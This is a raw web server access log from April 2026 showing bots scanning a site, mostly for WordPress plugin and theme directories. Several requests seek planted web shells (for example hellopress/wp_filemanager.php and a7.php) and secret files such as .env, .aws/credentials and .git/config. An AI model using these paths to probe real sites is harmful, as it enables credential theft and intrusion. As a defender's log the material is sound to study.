"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:03 +0300] "GET /upload/bilder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:48:03 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:04 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:04 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:48:05 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:05 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:48:06 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.206 - - [09/Apr/2026:00:48:06 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:48:07 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:07 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:08 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:08 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:09 +0300] "GET /files/shares/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:09 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:48:10 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:10 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:11 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.206 - - [09/Apr/2026:00:48:11 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:48:12 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:13 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.206 - - [09/Apr/2026:00:48:13 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:14 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:14 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:14 +0300] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:15 +0300] "GET /wp-includes/js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:16 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:48:16 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:48:17 +0300] "GET /js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:17 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:18 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:18 +0300] "GET /wp-json/wp/v2/give_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:19 +0300] "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.206 - - [09/Apr/2026:00:48:19 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 103.214.20.206 - - [09/Apr/2026:00:48:20 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:20 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:21 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:21 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:48:22 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:48:22 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:23 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:48:23 +0300] "GET /wp-content/plugins/js-support-ticket/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.206 - - [09/Apr/2026:00:48:24 +0300] "GET /wp-content/plugins/easy-themes-manager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:48:24 +0300] "GET /wp-content/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:48:25 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 103.214.20.206 - - [09/Apr/2026:00:48:25 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:26 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:26 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:27 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:48:27 +0300] "GET /assets/bootstrap-fileupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:28 +0300] "GET /wp-content/plugins/yanierin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:28 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.206 - - [09/Apr/2026:00:48:29 +0300] "GET /wp-content/plugins/profile-builder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:48:29 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:48:30 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:30 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:31 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:31 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:48:32 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:48:32 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:33 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:33 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:48:34 +0300] "GET /assets/worders_front/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:34 +0300] "GET /assets/jquery-ui/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:35 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:48:36 +0300] "GET /wp-content/themes/Avada/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:48:36 +0300] "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:37 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:37 +0300] "GET /wp-content/themes/jupiter/framework/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:48:38 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.206 - - [09/Apr/2026:00:48:38 +0300] "GET /wp-content/plugins/jupiterx-core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.206 - - [09/Apr/2026:00:48:39 +0300] "GET /wp-content/themes/Avada/shortcodes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 20.220.232.240 - - [09/Apr/2026:01:23:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 103.214.20.206 - - [09/Apr/2026:00:48:39 +0300] "GET /wp-json/bricks/v1/render_element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:40 +0300] "GET /wp-content/themes/bricks/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.206 - - [09/Apr/2026:00:48:40 +0300] "GET /wp-content/themes/service-finder/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:41 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:41 +0300] "GET /wp-content/themes/service-finder/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:42 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:43 +0300] "GET /wp-json/wp/v2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:48:43 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:43 +0300] "GET /wp-content/uploads/2026/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:48:44 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 20.63.32.44 - - [09/Apr/2026:03:12:03 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 103.214.20.190 - - [09/Apr/2026:00:46:25 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:46:26 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.190 - - [09/Apr/2026:00:46:26 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:27 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:46:27 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.54.5 - - [09/Apr/2026:02:56:56 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 45.148.10.120 - - [09/Apr/2026:04:33:55 +0300] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3880.0 Safari/537.36" 45.148.10.120 - - [09/Apr/2026:04:33:55 +0300] "GET /aws.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 36.111.67.189 - - [09/Apr/2026:04:37:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.148.10.120 - - [09/Apr/2026:04:33:55 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36" 45.148.10.120 - - [09/Apr/2026:04:33:55 +0300] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.88 Safari/537.36 Vivaldi/2.4.1488.36" 121.127.34.138 - - [09/Apr/2026:03:52:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0" 66.249.66.78 - - [09/Apr/2026:06:12:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.152.72.247 - - [09/Apr/2026:05:54:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.207.59.126 - - [09/Apr/2026:05:56:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 20.63.32.44 - - [09/Apr/2026:05:51:48 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 20.63.32.44 - - [09/Apr/2026:05:51:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 159.223.174.106 - - [09/Apr/2026:05:24:04 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 66.249.66.76 - - [09/Apr/2026:06:12:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 103.65.237.233 - - [09/Apr/2026:07:43:46 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.63.32.44 - - [09/Apr/2026:07:42:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 106.63.26.132 - - [09/Apr/2026:08:29:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.27 - - [09/Apr/2026:08:30:20 +0300] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 62.60.130.228 - - [09/Apr/2026:06:58:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/search?q=wordpress" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 74.208.250.50 - - [09/Apr/2026:07:16:41 +0300] "GET / HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3; rv:121.0) Gecko/20100101 Firefox/121.0" 106.63.26.148 - - [09/Apr/2026:07:18:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.14 - - [09/Apr/2026:08:29:59 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 43.159.138.217 - - [09/Apr/2026:06:42:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 106.63.26.140 - - [09/Apr/2026:07:18:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 